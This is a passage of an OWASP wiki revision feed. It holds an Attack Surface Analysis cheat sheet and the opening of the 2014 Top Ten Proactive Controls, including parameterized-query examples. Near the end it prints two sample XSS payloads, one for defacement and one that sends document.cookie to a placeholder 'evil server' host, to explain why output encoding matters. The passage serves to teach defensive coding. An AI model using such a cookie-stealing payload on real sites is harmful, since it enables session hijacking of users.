; A6-Sensitive Data Exposure&lt;br /&gt;
; A7-Missing Function Level Access Control&lt;br /&gt;
; A8-Cross-Site Request Forgery (CSRF) &lt;br /&gt;
; A9-Using Components with Known Vulnerabilities&lt;br /&gt;
; A10-Unvalidated Redirects and	Forwards&lt;br /&gt;
&amp;lt;/font&amp;gt;	&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''OWASP-C9: Include Security-Specific Requirements'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;Is important to consider security requirements from early stages of software development lifecycle. &lt;br /&gt;
There are two types of security requirements: &lt;br /&gt;
* Functional Requirements ( Visible and QA testable feature in the application )&lt;br /&gt;
* Non-functional requirements (Invisible/non-testable by QA staff&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;Security Requirements include:&lt;br /&gt;
* Confidentiality requirements&lt;br /&gt;
* Integrity requirements&lt;br /&gt;
* Authentication &amp;amp; authorization requirements&lt;br /&gt;
* Auditing and logging requirements&lt;br /&gt;
* Session management requirements &lt;br /&gt;
* Errors and exception management requirements&lt;br /&gt;
* Configuration parameters requirements  &lt;br /&gt;
* Archiving requirements  &lt;br /&gt;
* Legal and Compliance Constraints&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;1 Earn or give, but never assume, trust&lt;br /&gt;
&lt;br /&gt;
;2 Use an authentication mechanism that cannot be bypassed or tampered with&lt;br /&gt;
&lt;br /&gt;
;3 Authorize after you authenticate&lt;br /&gt;
&lt;br /&gt;
;4 Strictly separate data and control instructions, and never process control instructions received from untrusted sources&lt;br /&gt;
&lt;br /&gt;
;5 Define an approach that ensures all data are explicitly validated&lt;br /&gt;
&lt;br /&gt;
;6 Use cryptography correctly&lt;br /&gt;
&lt;br /&gt;
;7 Identify sensitive data and how they should be handled &lt;br /&gt;
&lt;br /&gt;
;8 Always consider the users &lt;br /&gt;
&lt;br /&gt;
;9 Understand how integrating external components changes your attack surface &lt;br /&gt;
&lt;br /&gt;
;10 Be flexible when considering future changes to objects and actors&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:'''  &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1-Injection&lt;br /&gt;
; A2-Broken Authentication and Session Management&lt;br /&gt;
; A3 XSS&lt;br /&gt;
; A4-Insecure Direct Object  References&lt;br /&gt;
; A5-Security Misconfiguration&lt;br /&gt;
; A6-Sensitive Data Exposure&lt;br /&gt;
; A7-Missing Function Level Access Control&lt;br /&gt;
; A8-Cross-Site Request Forgery (CSRF) &lt;br /&gt;
; A9-Using Components with Known Vulnerabilities&lt;br /&gt;
; A10-Unvalidated Redirects and Forwards&lt;br /&gt;
&amp;lt;/font&amp;gt;	&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''OWASP-C10:Design and Architect Security In'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;Design considerations :&lt;br /&gt;
* Confidentiality&lt;br /&gt;
* Availability&lt;br /&gt;
* Authentication&lt;br /&gt;
*  Auditing/Logging 	&lt;br /&gt;
* Least privilege &lt;br /&gt;
* Separation of duties &lt;br /&gt;
* Defence of depth &lt;br /&gt;
* Fail secure &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;1 Earn or give, but never assume, trust&lt;br /&gt;
&lt;br /&gt;
;2 Use an authentication mechanism that cannot be bypassed or tampered with&lt;br /&gt;
&lt;br /&gt;
;3 Authorize after you authenticate&lt;br /&gt;
&lt;br /&gt;
;4 Strictly separate data and control instructions, and never process control instructions received from untrusted sources&lt;br /&gt;
&lt;br /&gt;
;5 Define an approach that ensures all data are explicitly validated&lt;br /&gt;
&lt;br /&gt;
;6 Use cryptography correctly&lt;br /&gt;
&lt;br /&gt;
;7 Identify sensitive data and how they should be handled &lt;br /&gt;
&lt;br /&gt;
;8 Always consider the users &lt;br /&gt;
&lt;br /&gt;
;9 Understand how integrating external components changes your attack surface &lt;br /&gt;
&lt;br /&gt;
;10 Be flexible when considering future changes to objects and actors&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:''' &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1-Injection&lt;br /&gt;
; A2-Broken Authentication and Session Management&lt;br /&gt;
; A3 XSS&lt;br /&gt;
; A4-Insecure Direct Object  References&lt;br /&gt;
; A5-Security Misconfiguration&lt;br /&gt;
; A6-Sensitive Data Exposure&lt;br /&gt;
; A7-Missing Function Level Access Control&lt;br /&gt;
; A8-Cross-Site Request Forgery (CSRF) &lt;br /&gt;
; A9-Using Components with Known Vulnerabilities&lt;br /&gt;
; A10-Unvalidated Redirects and Forwards&lt;br /&gt;
&amp;lt;/font&amp;gt;	&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
 [[File:Mapping -OWASP Top 10 ProactiveControls - Top 10 Risks.png]]&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
Project rewrite (version 2) end of 2015&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=178979</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=178979"/>
				<updated>2014-07-18T15:46:48Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important? =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (e.g. malware injection, social engineering attacks), and there is less focus on insider threats, although the principles remain the same. The internal attack surface is likely to be different to the external attack surface and some users may have a lot of access.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is usually done by security architects and pen testers. But developers should understand and monitor the Attack Surface as they design and build and change a system.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you have changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding), and &lt;br /&gt;
# all valuable data used in the application, including secrets and keys, intellectual property, critical business data, personal data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can access the system (whether authorized or not). Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users (e.g. database administrators, system administrators). &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (external-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start building a baseline description of the Attack Surface in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* User interface (UI) forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* Other local storage&lt;br /&gt;
* Email or other kinds of messages&lt;br /&gt;
* Run-time arguments&lt;br /&gt;
* …. [your points of entry/exit]&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* Interfaces with other applications/systems&lt;br /&gt;
* ... [your types]&lt;br /&gt;
&lt;br /&gt;
You also need to identify the valuable data (e.g. confidential, sensitive, regulated) in the application, by interviewing developers and users of the system, and again by reviewing the source code. &lt;br /&gt;
&lt;br /&gt;
You can also build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like the [[OWASP_Zed_Attack_Proxy_Project]] or [http://arachni-scanner.com/ Arachni] or [http://code.google.com/p/skipfish/ Skipfish] or [http://w3af.sourceforge.net/ w3af] or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  Some web application firewalls (WAFs) may also be able to export a model of the appliaction's entry points.&lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: signing up and creating a user profile, logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with cryptography, authentication, authorization (access control) and session management&lt;br /&gt;
&lt;br /&gt;
These are often where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls, and intrusion detection or prevention systems to help protect your application.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
Note that deploying multiple versions of an application, leaving features in that are no longer used just in case they may be needed in the future, or leaving old backup copies and unused code increases the Attack Surface. Source code control and robust change management/configurations practices should be used to ensure the actual deployed Attack Surface matches the theoretical one as closely as possible.&lt;br /&gt;
&lt;br /&gt;
Backups of code and data - online, and on offline media - are an important but often ignored part of a system's Attack Surface. Protecting your data and IP by writing secure software and hardening the infrastructure will all be wasted if you hand everything over to bad guys by not protecting your backups.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management, authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Similarly for changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time operating system. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF) and real-time application-specific attack detection.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird - jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=177393</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=177393"/>
				<updated>2014-06-23T15:15:18Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
